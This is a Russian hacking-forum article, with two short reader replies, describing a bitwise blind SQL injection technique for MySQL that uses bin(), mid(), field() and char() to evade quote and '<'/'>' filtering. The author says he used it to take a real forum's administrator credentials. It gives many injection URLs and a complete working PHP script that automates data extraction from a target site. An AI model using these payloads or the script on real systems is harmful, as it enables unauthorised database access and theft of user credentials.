[Intro] Все наверное знают что такое слепая sql-инъекция, так вот, не так давно попался один, довольно популярный зарубежный портал, на котором нашел слепую инъекцию. При том, не поверите, вывода не было, а ориентировался я, по маленьким иконкам, подобным этой - . Среди кучи контента, они были в заголовке новости и меняли свое положение друг среди друга(либо вообще пропадали) в зависимости от правильности запроса, честно признаться, это была самая интересная, скажу даже забавная, инъекция, из всех, которые мне доводилось проводить. Так вот, та самая «небольшая оптимизация», о которой пойдет дальше речь, очень мне помогла получить данные авторизации администратора форума, с кол-вом зарегистрированных пользователей около нескольких сотен тысяч, а на сайте и того больше… При том что было большое количество БД и таблиц, среди которых, «вслепую», было очень трудно ориентироваться. [Let's start] В принципе, все не так сложно, давайте дадим определение самой - слепой инъекции, чтобы все стало понятно и так слепая sql-инъекция - это инъекция без вывода данных, при которой можно руководствоваться только положительным или отрицательным ответом сервера, и делать выводы на их основе. Рассмотрим простейший пример: Код: http://www.site.com/script.php?id=1+and+ascii(lower(substring(version(),1,1)))>0 В данном случае мы вырезаем функцией substring() один символ из ответа начиная с позиции 1, если это буква, то она приводится к нижнему регистру функцией lower(), а потом кодируется в ascii() соотв. функцией. Так вот, сама суть подобной инъекции, не наводит, ни на какие мысли?! Ведь сама ее суть так напоминает бинарный алгоритм, истина и ложь, 1 и 0… В СУБД Mysql есть функция bin(), которая возвращает кодируемое число уже в бинарном представлении, ей мы и воспользуемся. Кто еще не понял, мы будем кодировать число полученное функцией ascii() в bin и далее посимвольно выводить его уже судя по ответу сервера. Давайте сравним, до этого у нас был диапазон символов примерно от 0 до 125 (весь ascii диапазон - 0-255), и чтобы подобрать асци-код символа нужно перебрать приличное количество ему сопутствующих, конечно не без помощи ‘<’ и ‘>’, теперь же, у нас может уйти до 7-ми попыток подбора числа, ибо 125 в бинари – 1111101, это будет намного проще, ведь мы просто подставляем в запрос 0 или 1, что вам больше приглянется, скажем 1, отрезая от результата bin() по одному элементу, и имея в ответ верную или испорченную страничку, можем судить о том верно ли было наше предположение, таким образом, посимвольно выводить асци-код символов в бинарном представлении. Выглядеть это будет примерно так (функция mid() – аналог substring()): Код: http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),1,1)=1 - верно http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),2,1)=1 - верно http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),3,1)=1 - неверно (0) http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=1 - верно http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=1 - неверно (0) http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=1 - верно Таким образом получим 110101 - 53 в десимал, но не забываем, это же асци-код еще 53 > 5 в нашей десятичной... Есть еще один нюанс, с которым я впоследствии тоже разобрался. Ведь мы не знаем когда остановиться, например если мы вышли за границы числа в ответе, можем ошибиться прихватив лишний 0, ибо есть 0 – который может вернуть первая функция mid(), обозначающий то что мы за пределами результата функции bin(), можно перепутать с 0 который могла вернуть нам сама функция bin(), и прихватить лишний нуль, скажем 50 в бинари – 110010 – 6 символов, а 100 – 1100100 – уже семь символов, а ведь оба числа в границах нашего диапазона. В этом случае мне помог мануал с офф сайта, а именно по функции mid(), при запросе на символ, которого уже, по сути нет в ответе, проверить это можно не только получив истину, при подставленном нуле (0), но и при подставленных пустых кавычках - ‘’. То есть отличить 0 возвращенный bin() от 0 который вернула mid() - обозначающего пустоту, можно подставив вместо нашего параметра (1 или 0) – ‘’. Тогда если это «пустота» которую вернула mid() – мы получим правильную страничку, иначе - испорченную… И тут же встала еще одна проблема, а что в случае если кавычки фильтруются сервером?! То есть magic_quotes = on… Тогда ничего другого в голову не пришло как попытаться закодировать параметры, сперва ничего не получалось, а потом нашел выход, единица закодированная в char() скажем, воспринималась сервером также как и единица, а нуль закодированный в тот же способ – также – абсолютно нормально, но в случае конца возвращаемого параметра, той самой «пустоты» mid(), наш закодированный 0 – char(48), подставленный в запрос, уже возвращал ложь, то есть вот оно наше отличие… Выглядит примерно так: Код: http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=char(49) - 1 (если в границах диапазона и бин вернула один получим истину). http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=char(48) - 0 (если в границах диапазона и бин вернула нуль получим истину). http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=char(48) - 0 (если за границами диапазона получим ложь). Осталось только совместить все, в этом мне помогла функция field(), которая сравнивает два и более параметров, и возвращает истину (1) в случае совпадения, и 0 в обратном случае. Получим что-то вроде: Код: http://www.site.com/script.php?id=1+and+field((mid(bin(ascii(lower(mid(version(),1,1)))),50,1)=char(49)),(mid(bin(ascii(lower(mid(version(),1,1)))),50,1)=char(48))) Как в заметили, я подставил значение 50 в функции mid() на место параметра, обозначающего позицию, с которой функция начинает работу. То есть, вернувшийся к нам bin-код, закодированного результата ascii() – уж никак не может быть 50 символов в длину, мы получаем заведомо пустой результат первой функции mid() и выходим за пределы результата функции bin(). В этом случае, наша функция сравнения – field(), вернет положительный результат, ибо и первый запрос в ней, и второй, вернут один результат – 0, т.к. возвращаемое второй mid() значение, не является в бинари ни нулем, ни единицей, а является пустотой, которую мы путали с 0-м. То есть при истинном результате возвращаемом подобным запросом, можем сказать что мы находимся за пределами значения, которое вернула нам bin(). Повторюсь, запрос и с нулем и с единицей не могут вернуть одновременно одинаковое значение, если же возвращают, значит оба запроса не верны - значит мы вышли за пределы результата bin(), а кодировали символы 0 и 1 мы, чтобы 0 - обозначающий выход за пределы, который могла вернуть mid(), не путать с очередным "кусочком" bin() - тоже нулем. Вот мы и разобрались с проблемой. И опять же, чтобы вы не путались, обобщу все сказанное ранее, мы кодировали асци-код в бинари и считывали бинари посимвольно посредством манипуляций с 0 и 1, при этом возникла проблема в том чтобы отличить выход за пределы результата, который вернулся в бин, от части самого результата то есть 0 функции mid, от 0-я функции bin(), как я разобрался с проблемой, также описал, а именно, 0 и 1 закодированные в char() отличались от той самой пустоты представленной также нулем, то есть мы в одной функции сравнили два запроса и с 0-м и с единицей, но уже закодированными, и поскольку, вернуть один и тот же результат – ложь, они могли лишь в случае выхода за пределы диапазона, мы нашли решение нашей проблемы. Это я расписал для тех кому впадлу было вникать в вышерасписанное… Конечно же все это шло к тому, что проще всего, все эти наблюдения и заключения, использовать например в скрипте, который и будет перебирать ответы сервера, а нам выводить лишь результат. Вкратце опишу логику работы скрипта… Значит делаем цикл, в котором проверяем не конец ли выводимой строки, в нем еще один, в котором прежде всего проверяем не вышли ли мы за пределы значения, которое вернула нам функция bin(), а далее отправляем запрос на некий символ и приравниваем результат к нулю/единице, делаем соответствующие выводы по ответу… PHP: <?php/*----------------------*//* (c) NetSky *//* Xaker.Name *//*----------------------*//*Входные параметры*/$host = "www.site.com"; //Хост$quot = "portfolio/index.php?id=6"; //Скрипт$quote = "user()"; //Ваш запрос$truer = "<title>Информационные технологии"; //Изменения в страничке только при валидном результате/*-----------------*/set_time_limit(0);$bres = array(); //Сюда выводятся асци-коды в бин$res = array(); //Сюда результатfor($i = 1;; $i++){$stop = false;$data = "";/*Проверка на конец выводимой строки*/ $zapr3 = "/**/AND/**/ASCII(LOWER(MID((".$quote."),".$i.",1)))=0"; $fp = fsockopen($host, 80, $errn, $errs, 90); if(!fp) echo "$errs : $errn\r\n"; else { $q = "GET /".$quot.$zapr3." HTTP/1.1\r\n"; $q .= "Host: $host\r\n"; $q .= "Connection: Close\r\n\r\n"; fwrite($fp,$q); while(!feof($fp)) { $data .= fgets($fp,128); if(substr_count($data,$truer) > 0) { echo "Result : "; for($s = 0; $s < count($res); $s++) { echo chr($res[$s]); } fclose($fp); exit(); } } } fclose($fp); /*-----------------------------------*/ for($x = 1;; $x++) { /*Проверка на конец бинари-строки*/ $data = ""; $zapr2 = "/**/AND/**/FIELD((MID(BIN(ASCII(LOWER(MID((".$quote."),".$i.",1)))),".$x.",1)=char(49)),(MID(BIN(ASCII(LOWER(MID((".$quote."),".$i.",1)))),".$x.",1)=char(48)))"; $fp = fsockopen($host, 80, $errn, $errs, 90); if(!fp) echo "$errs : $errn\r\n"; else { $q = "GET /".$quot.$zapr2." HTTP/1.1\r\n"; $q .= "Host: $host\r\n"; $q .= "Connection: Close\r\n\r\n"; fwrite($fp,$q); while(!feof($fp)) { $data .= fgets($fp,128); if(substr_count($data,$truer) > 0) { $stop = true; break; } } } fclose($fp); /*-------------------------------*/ /*Запрос на поочередный вывод бинари*/ if(!$stop) { $data = ""; $zapr1 = "/**/AND/**/MID((BIN(ASCII(LOWER(MID((".$quote."),".$i.",1))))),".$x.",1)=1"; $fp = fsockopen($host, 80, $errn, $errs, 90); if(!fp) echo "$errs : $errn\r\n"; else { $q = "GET /".$quot.$zapr1." HTTP/1.1\r\n"; $q .= "Host: $host\r\n"; $q .= "Connection: Close\r\n\r\n"; fwrite($fp,$q); while(!feof($fp)) { $data .= fgets($fp,128); } if(substr_count($data,$truer) > 0) $bres[$i-1] .= 1; //Добавляем в массив "кусочек" бинари, else $bres[$i-1] .= 0; //в зависимости от вернувшейся странички. } fclose($fp); } else { $res[$i-1] = bindec($bres[$i-1]); break; } /*------------------------------*/ }}?> [Outro] Чуть выше, привожу свой скрипт, написанный, правда, на скорую руку. Также, забыл упомянуть про основное преимущество этого способа, при фильтрации параметра htmlspecialchars(), либо при отдельной фильтрации неких символов/операторов, мы не можем применять ‘<’ & ‘>’ при проведении слепой инъекции, то есть при проведении ее обычым способом – бессильны, оставался бы, только грубейший перебор всего диапазона. С таким примером, не так давно столкнулся, при чем вы не представляете каким важным был этот сайт. Статья написана, исключительно в познавательных целях. Прошу, задавайте вопросы, экспериментируйте, совершенствуйте… Удачи, с вами был NetSky. Специально для XNT.
ну... я постарался во все это вникнуть)) 1)Не совсем понятно, для чего нужны "<" и ">". Для чего они используются? 2) Что есть ascii()? 3) Для чего нужен lower?
меньше и больше. то есть сравнение. конвертирование в ascii.. надо бы знать такие вещи). опускает буквы в нижний регистр.